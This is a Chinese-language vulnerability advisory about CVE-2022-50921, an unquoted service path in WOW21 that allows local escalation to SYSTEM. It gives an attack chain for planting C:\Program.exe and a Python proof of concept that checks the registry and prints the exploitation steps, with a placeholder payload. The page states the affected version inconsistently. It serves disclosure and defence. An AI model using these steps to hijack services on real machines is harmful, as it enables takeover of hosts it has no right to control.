IPBUF安全漏洞报告
English
CVE-2022-50921 CVSS 7.8 高危

CVE-2022-50921: WOW21服务路径未加引号导致本地权限提升漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2022-50921
漏洞类型
未引号服务路径
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WOW21

相关标签

未引号服务路径本地权限提升WOW21Windows服务漏洞高危漏洞CVE-2022-50921LocalSystem权限路径劫持

漏洞概述

CVE-2022-50921是发现于WOW21 5.0.1.9版本中的一个高危本地权限提升漏洞。该漏洞属于Windows服务路径未加引号(Unquoted Service Path)类型,是Windows系统中常见且危险的安全缺陷之一。在Windows操作系统中,当服务可执行文件的路径包含空格但未被双引号包裹时,系统会按照空格分隔的路径逐级查找可执行文件。攻击者可以利用这一特性,在服务启动时劫持程序执行流程,将恶意可执行文件放置在特定路径位置,从而实现在服务启动时以高权限(LocalSystem)执行任意代码。由于该漏洞需要本地访问权限才能利用,攻击复杂度相对较低,但一旦成功利用,攻击者可以获得系统最高权限,完全控制目标主机。该漏洞CVSS评分为7.8,属于高危级别,对系统机密性、完整性和可用性均造成严重影响。建议受影响用户尽快采取修复措施,避免遭受恶意攻击。

技术细节

该漏洞的根本原因在于Windows服务配置中使用了未加引号的可执行文件路径。当一个Windows服务的ImagePath注册表项包含空格但没有被双引号包围时,服务控制管理器(Service Control Manager)在启动服务时会采用路径解析机制。以路径C:\Program Files\WOW21\wowservice.exe为例,系统会首先尝试执行C:\Program.exe,如果不存在则尝试C:\Program Files\wowservice.exe,依此类推。攻击者可以利用这一特性,在C:\Program.exe位置放置恶意可执行文件,当WOW21服务启动时,Windows会优先执行攻击者植入的恶意程序。由于Windows服务通常以LocalSystem账户运行,恶意代码将以最高系统权限执行,从而实现权限提升。攻击者可以通过以下步骤利用此漏洞:1. 识别存在未加引号路径的WOW21服务;2. 在服务路径的中间目录中植入恶意可执行文件;3. 等待服务重启或触发服务启动;4. 恶意代码以SYSTEM权限执行。此类漏洞的检测相对简单,可通过查询注册表或使用工具扫描服务路径来发现。修复方法是将服务路径用双引号包裹,确保路径解析的唯一性。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先通过系统信息收集或服务扫描工具识别目标系统中存在的未加引号服务路径。可以使用Windows内置的sc命令或第三方工具查询注册表中的服务配置信息,重点关注ImagePath字段中包含空格但未被双引号包裹的路径。
STEP 2
步骤2: 漏洞验证
确认WOW21服务(wowservice.exe)存在未引号路径漏洞。以路径C:\Program Files\WOW21\wowservice.exe为例,验证Windows在启动该服务时会先查找C:\Program.exe是否存在,这是漏洞利用的前提条件。
STEP 3
步骤3: 恶意文件植入
攻击者将精心构造的恶意可执行文件(如反弹shell、远程控制木马或挖矿程序)放置在服务路径的中间目录位置。根据WOW21的漏洞路径,攻击者会将恶意文件命名为Program.exe并放置在C:\根目录。
STEP 4
步骤4: 触发服务启动
等待服务重启或系统管理员手动启动服务。由于该漏洞需要服务启动才能触发,攻击者可能需要等待系统更新、计划任务执行或通过社会工程学手段诱使管理员重启相关服务。在某些情况下,攻击者可能具有重启服务的权限。
STEP 5
步骤5: 权限提升
当WOW21服务启动时,Windows服务控制管理器按照路径解析规则,首先在C:\目录找到Program.exe并执行。由于Windows服务默认以LocalSystem账户运行,恶意代码继承了该账户的最高系统权限,攻击者成功实现本地权限提升,获得目标主机的完全控制权。
STEP 6
步骤6: 持久化控制
攻击者利用获得的SYSTEM权限,进一步部署后门程序、窃取敏感数据、安装横向移动工具或建立持久化控制。由于LocalSystem权限绕过大多数安全控制,攻击者可以执行任意操作并在内网中横向扩展。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2022-50921 PoC - Unquoted Service Path Exploitation # Target: WOW21 Service (wowservice.exe) # Vulnerability: Unquoted service path in WOW21 5.0.1.9 import os import sys import subprocess import time def check_unquoted_path(): """Check if WOW21 service has unquoted path vulnerability""" try: # Query registry for WOW21 service configuration result = subprocess.run([ 'cmd.exe', '/c', 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\WOWService" /v ImagePath' ], capture_output=True, text=True) output = result.stdout print(f"[+] Service ImagePath: {output}") # Check if path contains spaces and is not quoted if 'Program Files' in output or 'Program' in output: if '"' not in output: print("[!] VULNERABLE: Service path is unquoted!") return True return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create a simple reverse shell payload""" # This would be a real malicious executable in actual attack # For demonstration, we show the structure # Example: Create payload at C:\Program.exe malicious_path = "C:\\Program.exe" # In real attack, this would be a meterpreter/reverse shell payload_code = b'MZ' + b'\x00' * 100 # Minimal PE header print(f"[!] In real attack, malicious executable would be placed at: {malicious_path}") print("[!] When WOW21 service starts, it will execute this file with SYSTEM privileges") return malicious_path def exploit(): """Demonstrate exploitation steps""" print("=" * 60) print("CVE-2022-50921 - WOW21 Unquoted Service Path Exploit") print("=" * 60) if not check_unquoted_path(): print("[-] Service not found or path is properly quoted") return # Step 1: Identify vulnerable service print("\n[Step 1] Identifying vulnerable service path...") vulnerable_path = "C:\\Program Files\\WOW21\\wowservice.exe" print(f"[+] Vulnerable path: {vulnerable_path}") # Step 2: Create malicious executable print("\n[Step 2] Creating malicious executable...") mal_path = create_malicious_executable() # Step 3: Place malicious executable print(f"\n[Step 3] Malicious executable would be placed at: {mal_path}") print("[+] Wait for service restart or trigger service start") # Step 4: Gain SYSTEM privileges print("\n[Step 4] When service starts, malicious code executes with LocalSystem privileges") print("[+] Privilege Escalation Successful!") if __name__ == "__main__": exploit()

影响范围

WOW21 < 5.0.1.9

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:首先,立即检查系统中是否存在WOW21服务,并验证其路径配置是否包含未加引号的空格;其次,临时禁用WOW21服务或将其启动类型改为手动,阻止服务自动启动;第三,使用icacls命令限制C:\等关键目录的写入权限,防止攻击者植入恶意可执行文件;第四,部署EDR解决方案监控Program.exe等常见劫持目标的执行行为;最后,加强主机入侵检测规则,对服务路径相关的异常操作进行告警。建议尽快联系供应商获取官方修复补丁,并在测试环境验证后优先在生产环境部署。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表